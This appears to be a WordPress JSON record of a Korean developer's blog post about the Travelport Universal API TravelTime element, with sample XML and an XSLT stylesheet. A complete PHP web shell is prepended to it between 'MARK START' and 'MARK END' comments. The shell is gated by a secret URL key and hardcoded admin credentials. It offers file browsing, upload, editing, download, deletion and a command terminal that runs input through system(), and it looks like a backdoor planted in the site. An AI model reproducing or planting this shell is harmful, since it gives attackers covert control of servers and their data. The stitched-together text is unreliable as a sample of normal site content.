// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } // -------- MARK END -------- {"id":338,"date":"2019-01-26T19:49:25","date_gmt":"2019-01-26T10:49:25","guid":{"rendered":"https:\/\/uapi.ihavenomoney.co.kr\/?p=338"},"modified":"2019-01-26T20:00:58","modified_gmt":"2019-01-26T11:00:58","slug":"__trashed-2","status":"publish","type":"post","link":"https:\/\/uapi.ihavenomoney.co.kr\/?p=338","title":{"rendered":"TravelTime"},"content":{"rendered":"

For a single segment with no connection, the travel time is equal to the flight time (FlightDetails @TravelTime and AirSegment @TravelTime).
\nThe TravelTime element in LowFareSearchRsp\/AirPricePointList\/AirPricePoint\/AirPricingInfo\/FlightOptionsList\/FlightOption\/Option indicates the travel time, in duration, for the entire journey. The travel time is determined by calculating the difference between the departure time of the first segment and the arrival time of the last segment for that particular entire set of connections. For example:<\/p>\n

Journey TravelTime=\"655\">\r\n   <AirSegmentRef Key=\"1T\"\/>\r\n    <AirSegmentRef Key=\"3T\"\/>\r\n<\/Journey>\r\n<Journey TravelTime=\"685\">\r\n   <AirSegmentRef Key=\"5T\"\/>\r\n   <AirSegmentRef Key=\"7T\"\/>\r\n<\/Journey><\/pre>\n

uAPI : \uc0d8\ud50c<\/p>\n

<air:Option Key=\"NdOjyeBAAA\/BNzybOdAAAA==\" TravelTime=\"P0DT16H30M0S\">\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B0xybOdAAAA==\"\/>\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B2xybOdAAAA==\"\/>\r\n                           <air:Connection SegmentIndex=\"0\"\/>\r\n                        <\/air:Option>\r\n                        <air:Option Key=\"NdOjyeBAAA\/BQzybOdAAAA==\" TravelTime=\"P1DT1H25M0S\">\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B0xybOdAAAA==\"\/>\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B4xybOdAAAA==\"\/>\r\n                           <air:Connection SegmentIndex=\"0\"\/>\r\n                        <\/air:Option>\r\n                        <air:Option Key=\"NdOjyeBAAA\/BTzybOdAAAA==\" TravelTime=\"P1DT4H40M0S\">\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B0xybOdAAAA==\"\/>\r\n                           <air:BookingInfo BookingCode=\"Q\" BookingCount=\"4\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BUyybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/B6xybOdAAAA==\"\/>\r\n                           <air:Connection SegmentIndex=\"0\"\/>\r\n                        <\/air:Option>\r\n                     <\/air:FlightOption>\r\n                     <air:FlightOption LegRef=\"NdOjyeBAAA\/BuyybOdAAAA==\" Destination=\"SEL\" Origin=\"BKK\">\r\n                        <air:Option Key=\"NdOjyeBAAA\/BWzybOdAAAA==\" TravelTime=\"P1DT5H5M0S\">\r\n                           <air:BookingInfo BookingCode=\"S\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BDzybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/BCyybOdAAAA==\"\/>\r\n                           <air:BookingInfo BookingCode=\"S\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BDzybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/BEyybOdAAAA==\"\/>\r\n                           <air:Connection SegmentIndex=\"0\"\/>\r\n                        <\/air:Option>\r\n                        <air:Option Key=\"NdOjyeBAAA\/BZzybOdAAAA==\" TravelTime=\"P1DT5H30M0S\">\r\n                           <air:BookingInfo BookingCode=\"S\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BDzybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/BGyybOdAAAA==\"\/>\r\n                           <air:BookingInfo BookingCode=\"S\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"NdOjyeBAAA\/BDzybOdAAAA==\" SegmentRef=\"NdOjyeBAAA\/BEyybOdAAAA==\"\/>\r\n                           <air:Connection SegmentIndex=\"0\"\/>\r\n                        <\/air:Option>\r\n                     <\/air:FlightOption>\r\n                  <\/air:FlightOptionsList>\r\n<\/pre>\n

TravelTime \ud654\uba74 \uad6c\ud604\"\"<\/a><\/p>\n

Xslt :<\/p>\n

<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\">\r\n  <xsl:param name=\"fontSize\">x-small<\/xsl:param>\r\n  <xsl:output method=\"html\" indent=\"yes\" omit-xml-declaration=\"yes\"\/>\r\n\r\n    <xsl:variable name=\"maximum\">\r\n      <xsl:value-of select=\"\/\/*[local-name()='AirSegment' and not(preceding-sibling::node()\/@Group > @Group or following-sibling::node()\/@Group > @Group)]\/@Group\" \/>\r\n    <\/xsl:variable>\r\n  <xsl:template match=\"\/\">\r\n    <html>\r\n      <head>\r\n        <title>Travelport Universal API Low Fare response<\/title>\r\n        <style type=\"text\/css\">\r\n          BODY,table {font-size: <xsl:value-of select=\"$fontSize\"><\/xsl:value-of>;}\r\n          table.main {margin-bottom: 12px;border-bottom-style:solid;border-bottom-color:#0075b0; width=\"100%\"}\r\n          table.main thead {background-color: #0075b0; color:white;}\r\n          table.main caption {background-color: #0075b0; color:white;font-size: larger; font-weight:bold;}\r\n          table.main td {padding: 1px;}\r\n          tr.out td {border-top-style: solid; border-top-color: #72c7e7;}\r\n          tr.in td {border-top-style: solid; border-top-color: #7ab800;}\r\n          tr.middle td {border-top-style: solid; border-top-color: #dbceac;}\r\n          td.time {text-align:right;}\r\n          td.center {text-align:center;}\r\n          h1 {background-color: #7ab800; color:white;}\r\n        <\/style>\r\n      <\/head>\r\n      <body>\r\n        <table>\r\n          <tr>\r\n            <td>\r\n              <h1>\r\n                <a name=\"#air\">Air fares<\/a>\r\n              <\/h1>\r\n              <a href=\"#rail\">Go to rail fares<\/a>\r\n            <\/td>\r\n          <\/tr>\r\n          <xsl:apply-templates select=\"\/\/*[local-name()='AirPricingSolution']\"\/>\r\n          <xsl:apply-templates select=\"\/\/*[local-name()='AirPricePoint']\"\/>\r\n          <tr>\r\n            <td>\r\n              <h1>\r\n                <a name=\"#rail\">Rail fares<\/a>\r\n              <\/h1>\r\n              <a href=\"#air\">Go to air fares<\/a>\r\n            <\/td>\r\n          <\/tr>\r\n        <\/table>\r\n        <xsl:apply-templates select=\"\/\/*[local-name()='RailPricingSolution']\"\/>\r\n      <\/body>\r\n    <\/html>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"\/\/*[local-name()='AirPricingSolution']\">\r\n    <xsl:variable name=\"Amt\">\r\n      <xsl:value-of select=\".\/@TotalPrice\"\/>\r\n    <\/xsl:variable>\r\n    <tr>\r\n      <td>\r\n        <table class=\"main\">\r\n          <caption>\r\n            Total price:\r\n            <xsl:value-of select=\"$Amt\"\/>\r\n          <\/caption>\r\n          <thead >\r\n            <tr>\r\n              <th>Direction<\/th>\r\n              <th>Date<\/th>\r\n              <th>Flight<\/th>\r\n              <th>Depart<\/th>\r\n              <th>Arrive<\/th>\r\n              <th>From<\/th>\r\n              <th>To<\/th>\r\n              <th>Class<\/th>\r\n              <th>Cabin<\/th>\r\n              <th>Source<\/th>\r\n            <\/tr>\r\n          <\/thead>\r\n          <tbody>\r\n            <xsl:apply-templates select=\"*[local-name()='AirSegmentRef']\" \/>\r\n            <xsl:apply-templates select=\"*[local-name()='Journey']\" \/>\r\n          <\/tbody>\r\n        <\/table>\r\n      <\/td>\r\n    <\/tr>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"\/\/*[local-name()='AirPricePoint']\">\r\n    <xsl:variable name=\"Amt\">\r\n      <xsl:value-of select=\".\/@TotalPrice\"\/>\r\n    <\/xsl:variable>\r\n    <tr>\r\n      <td>\r\n        <table class=\"main\">\r\n          <caption>\r\n            \r\n            <xsl:value-of select=\".\/@TotalPrice\"\/> (base: <xsl:value-of select=\".\/@BasePrice\"\/> - taxes: <xsl:value-of select=\".\/@Taxes\"\/>)\r\n          <\/caption>\r\n          <thead >\r\n            <tr>\r\n              <th>Direction<\/th>\r\n              <th>Date<\/th>\r\n              <th>Flight<\/th>\r\n              <th>Depart<\/th>\r\n              <th>Arrive<\/th>\r\n              <th>From<\/th>\r\n              <th>To<\/th>\r\n              <th>Class_<\/th>\r\n              <th>Cabin<\/th>\r\n              <th>Source<\/th>\r\n              <th>\uc5ec\ud589\uc2dc\uac04<\/th>\r\n            <\/tr>\r\n          <\/thead>\r\n          <tbody>\r\n            <xsl:for-each select=\"*[local-name()='AirPricingInfo'][position()=1]\">\r\n              <xsl:apply-templates select=\"*[local-name()='FlightOptionsList']\/*[local-name()='FlightOption']\/*[local-name()='Option']\" \/>\r\n            <\/xsl:for-each>\r\n          <\/tbody>\r\n        <\/table>\r\n      <\/td>\r\n    <\/tr>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"*[local-name()='AirSegmentRef']\">\r\n    <xsl:variable name=\"indexFlight\" select=\".\/@Key\"\/>\r\n    <xsl:variable name=\"position\" select=\"position()-2\" \/>\r\n\r\n    <xsl:variable name=\"connecting\" select=\"..\/*[local-name()='Connection' and @SegmentIndex=$position]\/@SegmentIndex\" \/>\r\n\r\n    <xsl:variable name=\"bookingClass\" select=\"..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@BookingCode\"\/>\r\n\t<xsl:variable name=\"bookingCount\" select=\"..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@BookingCount\"\/>\r\n    <xsl:variable name=\"cabinClass\" select=\"..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@CabinClass\"\/>\r\n    <xsl:variable name=\"providerCode\" select=\"..\/*[local-name()='AirPricingInfo'][position()=1]\/@ProviderCode\"\/>\r\n\r\n    <xsl:for-each select=\"\/\/*[local-name()='AirSegment' and .\/@Key=$indexFlight]\">\r\n      <xsl:variable name=\"directionName\">\r\n        <xsl:if test=\"not($connecting)\" >\r\n          <xsl:if test=\"$maximum>1\">\r\n            OD Part <xsl:value-of select=\".\/@Group\"\/>\r\n          <\/xsl:if>\r\n          <xsl:if test=\"$maximum=1\">\r\n            <xsl:choose>\r\n              <xsl:when test=\".\/@Group='0'\">Outbound<\/xsl:when>\r\n              <xsl:otherwise>Inbound<\/xsl:otherwise>\r\n            <\/xsl:choose>\r\n          <\/xsl:if>\r\n          <xsl:if test=\"$maximum=0\">Oneway<\/xsl:if>\r\n        <\/xsl:if>\r\n      <\/xsl:variable>\r\n      <tr>\r\n        <xsl:attribute name=\"class\">\r\n          <xsl:choose>\r\n            <xsl:when test=\".\/@Group='0' and $directionName!=''\">out<\/xsl:when>\r\n            <xsl:when test=\"($maximum=.\/@Group and $directionName!='')\">in<\/xsl:when>\r\n            <xsl:when test=\"$directionName=''\"><\/xsl:when>\r\n            <xsl:otherwise >middle<\/xsl:otherwise >\r\n          <\/xsl:choose>\r\n        <\/xsl:attribute>\r\n        <td >\r\n          <xsl:value-of select=\"$directionName\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\"substring(.\/@DepartureTime,1,10)\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@Carrier\"\/>\r\n          <xsl:value-of select=\".\/@FlightNumber\"\/>\r\n        <\/td>\r\n        <td class=\"time\">\r\n          <xsl:value-of select=\"substring(.\/@DepartureTime,12,5)\"\/>\r\n        <\/td>\r\n        <td class=\"time\">\r\n          <xsl:value-of select=\"substring(.\/@ArrivalTime,12,5)\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@Origin\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@Destination\"\/>\r\n        <\/td>\r\n        <td class=\"center\">\r\n          <xsl:value-of select=\"$bookingClass\"\/>\r\n\t\t  <xsl:value-of select=\"$bookingCount\"\/> *\r\n        <\/td>\r\n        <td>\r\n          <xsl:choose >\r\n            <xsl:when test=\"$cabinClass\">\r\n              <xsl:value-of select=\"$cabinClass\"\/>\r\n            <\/xsl:when>\r\n            <xsl:otherwise>\r\n              &#160;\r\n            <\/xsl:otherwise>\r\n          <\/xsl:choose>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\"$providerCode\"\/>\r\n          <xsl:if test=\".\/@AvailabilitySource\">\r\n            -\r\n            <xsl:value-of select=\".\/@AvailabilitySource\"\/>\r\n          <\/xsl:if>\r\n        <\/td>\r\n      <\/tr>\r\n    <\/xsl:for-each>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"*[local-name()='Journey']\">\r\n    <xsl:call-template name=\"SegmentsForJourney\" \/>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template name=\"SegmentsForJourney\">\r\n    <xsl:for-each select=\"*[local-name()='AirSegmentRef']\">\r\n      <xsl:variable name=\"indexFlight\" select=\".\/@Key\"\/>\r\n      <xsl:variable name=\"position\" select=\"position()-2\" \/>\r\n\r\n      <xsl:variable name=\"connecting\" select=\"..\/..\/*[local-name()='Connection' and @SegmentIndex=$position]\/@SegmentIndex\" \/>\r\n\r\n      <xsl:variable name=\"bookingClass\" select=\"..\/..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@BookingCode\"\/>\r\n\t  <xsl:variable name=\"bookingCount\" select=\"..\/..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@BookingCount\"\/>\r\n\t  \r\n      <xsl:variable name=\"cabinClass\" select=\"..\/..\/*[local-name()='AirPricingInfo'][position()=1]\/*[local-name()='BookingInfo' and @SegmentRef=$indexFlight]\/@CabinClass\"\/>\r\n      <xsl:variable name=\"providerCode\" select=\"..\/..\/*[local-name()='AirPricingInfo'][position()=1]\/@ProviderCode\"\/>\r\n\r\n      <xsl:for-each select=\"\/\/*[local-name()='AirSegment' and .\/@Key=$indexFlight]\">\r\n        <xsl:variable name=\"directionName\">\r\n          <xsl:if test=\"not($connecting)\" >\r\n            <xsl:if test=\"$maximum>1\">\r\n              OD Part <xsl:value-of select=\".\/@Group\"\/>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=1\">\r\n              <xsl:choose>\r\n                <xsl:when test=\".\/@Group='0'\">Outbound<\/xsl:when>\r\n                <xsl:otherwise>Inbound<\/xsl:otherwise>\r\n              <\/xsl:choose>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=0\">Oneway<\/xsl:if>\r\n          <\/xsl:if>\r\n        <\/xsl:variable>\r\n        <tr>\r\n          <xsl:attribute name=\"class\">\r\n            <xsl:choose>\r\n              <xsl:when test=\".\/@Group='0' and $directionName!=''\">out<\/xsl:when>\r\n              <xsl:when test=\"($maximum=.\/@Group and $directionName!='')\">in<\/xsl:when>\r\n              <xsl:when test=\"$directionName=''\"><\/xsl:when>\r\n              <xsl:otherwise >middle<\/xsl:otherwise >\r\n            <\/xsl:choose>\r\n          <\/xsl:attribute>\r\n          <td >\r\n            <xsl:value-of select=\"$directionName\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\"substring(.\/@DepartureTime,1,10)\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Carrier\"\/>\r\n            <xsl:value-of select=\".\/@FlightNumber\"\/>\r\n          <\/td>\r\n          <td class=\"time\">\r\n            <xsl:value-of select=\"substring(.\/@DepartureTime,12,5)\"\/>\r\n          <\/td>\r\n          <td class=\"time\">\r\n            <xsl:value-of select=\"substring(.\/@ArrivalTime,12,5)\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Origin\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Destination\"\/>\r\n          <\/td>\r\n          <td class=\"center\">\r\n            <xsl:value-of select=\"$bookingClass\"\/>\r\n\t\t\t<xsl:value-of select=\"$bookingCount\"\/> _\r\n          <\/td>\r\n          <td>\r\n            <xsl:choose >\r\n              <xsl:when test=\"$cabinClass\">\r\n                <xsl:value-of select=\"$cabinClass\"\/>\r\n              <\/xsl:when>\r\n              <xsl:otherwise>\r\n                &#160;\r\n              <\/xsl:otherwise>\r\n            <\/xsl:choose>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\"$providerCode\"\/>\r\n            <xsl:if test=\".\/@AvailabilitySource\">\r\n              -\r\n              <xsl:value-of select=\".\/@AvailabilitySource\"\/>\r\n            <\/xsl:if>\r\n          <\/td>\r\n        <\/tr>\r\n      <\/xsl:for-each>\r\n    <\/xsl:for-each>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"*[local-name()='FlightOptionsList']\/*[local-name()='FlightOption']\/*[local-name()='Option']\">\r\n  \r\n    <xsl:variable name=\"TravelTime\" select=\".\/@TravelTime\" \/>\r\n\t \r\n    <xsl:for-each select=\"*[local-name()='BookingInfo']\">\r\n      <xsl:variable name=\"indexFlight\" select=\".\/@SegmentRef\"\/>\r\n      <xsl:variable name=\"position\" select=\"position()-2\" \/>\r\n\r\n      <xsl:variable name=\"connecting\" select=\"..\/*[local-name()='Connection' and @SegmentIndex=$position]\/@SegmentIndex\" \/>\r\n\r\n      <xsl:variable name=\"providerCode\" select=\"ancestor::*[local-name() = 'AirPricingInfo']\/@ProviderCode\" \/>\r\n\r\n      <xsl:variable name=\"bookingClass\" select=\".\/@BookingCode\"\/>\r\n\t  <xsl:variable name=\"bookingCount\" select=\".\/@BookingCount\"\/>\r\n      <xsl:variable name=\"cabinClass\" select=\".\/@CabinClass\"\/>\r\n      <xsl:variable name=\"fareInfoRef\" select=\".\/@FareInfoRef\"\/>\r\n\r\n      <xsl:variable name=\"brandId\" select=\"\/*[local-name()='FareInfo' and @Key=$fareInfoRef]\/*[local-name()='Brand']\/@BrandId\" \/>\r\n      <xsl:variable name=\"brandName\" select=\"\/\/*[local-name()='Brand' and @Key=$brandId]\/@Name\"\/>\r\n      \r\n    \r\n\t  \r\n      <xsl:for-each select=\"\/\/*[local-name()='AirSegment' and .\/@Key=$indexFlight]\">\r\n        <xsl:variable name=\"directionName\">\r\n          <xsl:if test=\"not($connecting)\" >\r\n            <xsl:if test=\"$maximum>1\">\r\n              OD Part <xsl:value-of select=\".\/@Group\"\/>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=1\">\r\n              <xsl:choose>\r\n                <xsl:when test=\".\/@Group='0'\">Outbound<\/xsl:when>\r\n                <xsl:otherwise>Inbound<\/xsl:otherwise>\r\n              <\/xsl:choose>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=0\">Oneway<\/xsl:if>\r\n          <\/xsl:if>\r\n        <\/xsl:variable>\r\n\t\t\r\n\t\t<xsl:variable name=\"TravelTime02\">\r\n          <xsl:if test=\"not($connecting)\" >\r\n            <xsl:if test=\"$maximum>1\">\r\n              <xsl:value-of select=\"$TravelTime\"\/>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=1\">\r\n              <xsl:choose>\r\n                <xsl:when test=\".\/@Group='0'\"><xsl:value-of select=\"$TravelTime\"\/><\/xsl:when>\r\n                <xsl:otherwise><xsl:value-of select=\"$TravelTime\"\/><\/xsl:otherwise>\r\n              <\/xsl:choose>\r\n            <\/xsl:if>\r\n            <xsl:if test=\"$maximum=0\"><xsl:value-of select=\"$TravelTime\"\/><\/xsl:if>\r\n          <\/xsl:if>\r\n        <\/xsl:variable>\r\n\t\t\r\n\t\t\r\n\t\t\r\n        <tr>\r\n          \r\n\t\t  <xsl:attribute name=\"class\">\r\n            <xsl:choose>\r\n              <xsl:when test=\".\/@Group='0' and $directionName!=''\">out<\/xsl:when>\r\n              <xsl:when test=\"($maximum=.\/@Group and $directionName!='')\">in<\/xsl:when>\r\n              <xsl:when test=\"$directionName=''\"><\/xsl:when>\r\n              <xsl:otherwise >middle<\/xsl:otherwise >\r\n            <\/xsl:choose>\r\n          <\/xsl:attribute>\r\n\t\t  \r\n          <td >\r\n            <xsl:value-of select=\"$directionName\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\"substring(.\/@DepartureTime,1,10)\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Carrier\"\/>\r\n            <xsl:value-of select=\".\/@FlightNumber\"\/>\r\n          <\/td>\r\n          <td class=\"time\">\r\n            <xsl:value-of select=\"substring(.\/@DepartureTime,12,5)\"\/>\r\n          <\/td>\r\n          <td class=\"time\">\r\n            <xsl:value-of select=\"substring(.\/@ArrivalTime,12,5)\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Origin\"\/>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\".\/@Destination\"\/>\r\n          <\/td>\r\n          <td class=\"center\">\r\n            <xsl:value-of select=\"$bookingClass\"\/><xsl:value-of select=\"$bookingCount\"\/>\r\n          <\/td>\r\n          <td >\r\n            <xsl:choose >\r\n              <xsl:when test=\"$cabinClass\">\r\n                <xsl:value-of select=\"$cabinClass\"\/>\r\n              <\/xsl:when>\r\n              <xsl:otherwise>\r\n                &#160;\r\n              <\/xsl:otherwise>\r\n            <\/xsl:choose>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\"$providerCode\"\/>\r\n            <xsl:if test=\".\/@AvailabilitySource\">\r\n              -\r\n              <xsl:value-of select=\".\/@AvailabilitySource\"\/>\r\n            <\/xsl:if>\r\n          <\/td>\r\n          <td>\r\n            <xsl:value-of select=\"$brandName\"\/>\r\n\t\t\t<!-- SegmentRef -->\r\n\t\t\t\r\n\t\t\t<xsl:variable name=\"FlightDetailsRef\" select=\".\/*[local-name()='FlightDetailsRef']\/@Key\"\/>\r\n\t\t\t\r\n\t\t\t<xsl:value-of select=\"$TravelTime02\"\/>\r\n\t\t\t\r\n\t\t\t<!--xsl:for-each select=\"\/\/*[local-name()='FlightDetails' and .\/@Key=$FlightDetailsRef]\">\r\n\t\t\t\r\n\t\t\t  traveltime: <xsl:value-of select=\"@TravelTime\"><\/xsl:value-of> <BR\/>\r\n\t\t\t  \ucd9c\ubc1c\uc2dc\uac04 : <xsl:value-of select=\"@DepartureTime\"><\/xsl:value-of> <BR\/>\r\n\t\t\t  \ub3c4\ucc29\uc2dc\uac04 : <xsl:value-of select=\"@ArrivalTime\"><\/xsl:value-of> <BR\/>\r\n\t\t\t\r\n\t\t\t<\/xsl:for-each-->\r\n\t\t\t\r\n\t\t\t\r\n          <\/td>\r\n\r\n        <\/tr>\r\n      